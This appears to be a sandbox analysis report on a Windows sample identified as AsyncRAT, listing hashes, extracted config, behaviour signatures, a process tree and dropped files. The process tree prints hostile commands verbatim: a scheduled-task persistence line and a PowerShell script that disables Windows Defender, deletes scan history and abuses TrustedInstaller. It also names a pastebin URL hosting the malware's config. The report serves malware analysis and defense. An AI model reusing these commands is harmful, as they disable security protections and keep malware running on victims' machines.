Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/11/2024, 12:50

General

  • Target

    Network Experience.exe

  • Size

    74KB

  • MD5

    a1e76f2fbe7af658b38383fbfd7cfff4

  • SHA1

    6dc43ef73b59ff29089a4b29bc8ade4ea63484ec

  • SHA256

    7782da3a91f91377c4c8d1d338237c6ff996ad42caaab27c1cdc5ea7e90058e1

  • SHA512

    4a47391ba3132cfb36da8d7f08ae6856312b26547845e3fe5f3ddd0939893245bf4de337671bc917926d5c764a6100d084845236ef1707560ff5be4aa5f2bed8

  • SSDEEP

    1536:rUa8cxqnHXC56PMVwKCpaIPr1bg/VkxLN+QzcoVVclN:rUrcxq3O6PMVQpLr1bg9kxQQJ3Y

Malware Config

Extracted

Family

asyncrat

Version

Venom Pwn3rzs' Edtition v6.0.1

Botnet

proxy on top

Mutex

gdfgvsdfdasfkjasdkjaske9831943ioqwkd

Attributes
  • delay

    1

  • install

    true

  • install_file

    NetworkEX.exe

  • install_folder

    %AppData%

  • pastebin_config

    https://pastebin.com/raw/jGuGV3jT

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies data under HKEY_USERS 46 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Network Experience.exe
    "C:\Users\Admin\AppData\Local\Temp\Network Experience.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "NetworkEX" /tr '"C:\Users\Admin\AppData\Roaming\NetworkEX.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "NetworkEX" /tr '"C:\Users\Admin\AppData\Roaming\NetworkEX.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2308
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp807A.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3744
      • C:\Users\Admin\AppData\Roaming\NetworkEX.exe
        "C:\Users\Admin\AppData\Roaming\NetworkEX.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Sets desktop wallpaper using registry
        • Modifies Control Panel
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
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     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 
          4⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" qc windefend
            5⤵
            • Launches sc.exe
            PID:1924
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
            5⤵
              PID:1428
            • C:\Windows\system32\whoami.exe
              "C:\Windows\system32\whoami.exe" /groups
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1152
            • C:\Windows\system32\net1.exe
              "C:\Windows\system32\net1.exe" start TrustedInstaller
              5⤵
                PID:2508
      • C:\Windows\servicing\TrustedInstaller.exe
        C:\Windows\servicing\TrustedInstaller.exe
        1⤵
          PID:4024
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3424
            • C:\Windows\system32\sc.exe
              "C:\Windows\system32\sc.exe" qc windefend
              3⤵
              • Launches sc.exe
              PID:660
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
              3⤵
                PID:3268
              • C:\Windows\system32\whoami.exe
                "C:\Windows\system32\whoami.exe" /groups
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4984
              • C:\Windows\system32\net1.exe
                "C:\Windows\system32\net1.exe" stop windefend
                3⤵
                  PID:2944
                • C:\Windows\system32\sc.exe
                  "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                  3⤵
                  • Launches sc.exe
                  PID:3248

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              3KB

              MD5

              556084f2c6d459c116a69d6fedcc4105

              SHA1

              633e89b9a1e77942d822d14de6708430a3944dbc

              SHA256

              88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

              SHA512

              0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              ac3bf9756600f6c31a15240716e6e7c6

              SHA1

              521aa76b55f74cafd1b579933dc0fae439acb0f5

              SHA256

              f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd

              SHA512

              96ae0dddaeadae05fed313707076af5d443d328d2ea8524aa283812591b615b596a0aab1d2918471aba59f5546cebca7521bd2003db63a24f548899bee5fa67a

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nb1umjp2.cbo.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tmp807A.tmp.bat

              Filesize

              153B

              MD5

              5d0ccb0bb6544cdf3f0c13840e4fa937

              SHA1

              7474078d72554fe1ce3ba0515d1b2a38bada077b

              SHA256

              86aa989216d75b017d4aa5227121ce6afaee19ce0848f0189b717cca562cb741

              SHA512

              f93ce3fca022cf1d553d28c35aaf10c95988e2b404f99f4aa26ca205148179cc7cfa65b0a221e9a5b1ac7d54826bfcb5d0d3da67afca281a90cefd280c8e1f6b

            • C:\Users\Admin\AppData\Local\Temp\tmpC356.tmp.png

              Filesize

              21KB

              MD5

              437d33082fd10193adc7055cc7f2e307

              SHA1

              d9c760d8bcc3aa5a5ee0523fa1481c178c83632a

              SHA256

              f2701ecd6376ea963c6a207f941731e0c01a14f90a2e43867d9db1be477be0a8

              SHA512

              c14ee5e73e463e191e4bc1b1bdbcb334167a8bce028cfe72a59f5db55c1b20003edd1c313a847478b8027e1a3f73419496dd290fe84064e41d150ab628ba9284

            • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

              Filesize

              8B

              MD5

              cf759e4c5f14fe3eec41b87ed756cea8

              SHA1

              c27c796bb3c2fac929359563676f4ba1ffada1f5

              SHA256

              c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

              SHA512

              c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

            • C:\Users\Admin\AppData\Roaming\NetworkEX.exe

              Filesize

              74KB

              MD5

              a1e76f2fbe7af658b38383fbfd7cfff4

              SHA1

              6dc43ef73b59ff29089a4b29bc8ade4ea63484ec

              SHA256

              7782da3a91f91377c4c8d1d338237c6ff996ad42caaab27c1cdc5ea7e90058e1

              SHA512

              4a47391ba3132cfb36da8d7f08ae6856312b26547845e3fe5f3ddd0939893245bf4de337671bc917926d5c764a6100d084845236ef1707560ff5be4aa5f2bed8

            • memory/1508-9-0x00007FFA494B0000-0x00007FFA49F71000-memory.dmp

              Filesize

              10.8MB

            • memory/1508-0-0x00007FFA494B3000-0x00007FFA494B5000-memory.dmp

              Filesize

              8KB

            • memory/1508-8-0x00007FFA494B0000-0x00007FFA49F71000-memory.dmp

              Filesize

              10.8MB

            • memory/1508-3-0x00007FFA494B0000-0x00007FFA49F71000-memory.dmp

              Filesize

              10.8MB

            • memory/1508-1-0x0000000000B60000-0x0000000000B78000-memory.dmp

              Filesize

              96KB

            • memory/2572-25-0x0000023E7E2F0000-0x0000023E7E312000-memory.dmp

              Filesize

              136KB

            • memory/4568-17-0x000000001C6A0000-0x000000001C716000-memory.dmp

              Filesize

              472KB

            • memory/4568-18-0x000000001BF50000-0x000000001BF5E000-memory.dmp

              Filesize

              56KB

            • memory/4568-19-0x000000001C640000-0x000000001C65E000-memory.dmp

              Filesize

              120KB

            • memory/4568-44-0x000000001C320000-0x000000001C32E000-memory.dmp

              Filesize

              56KB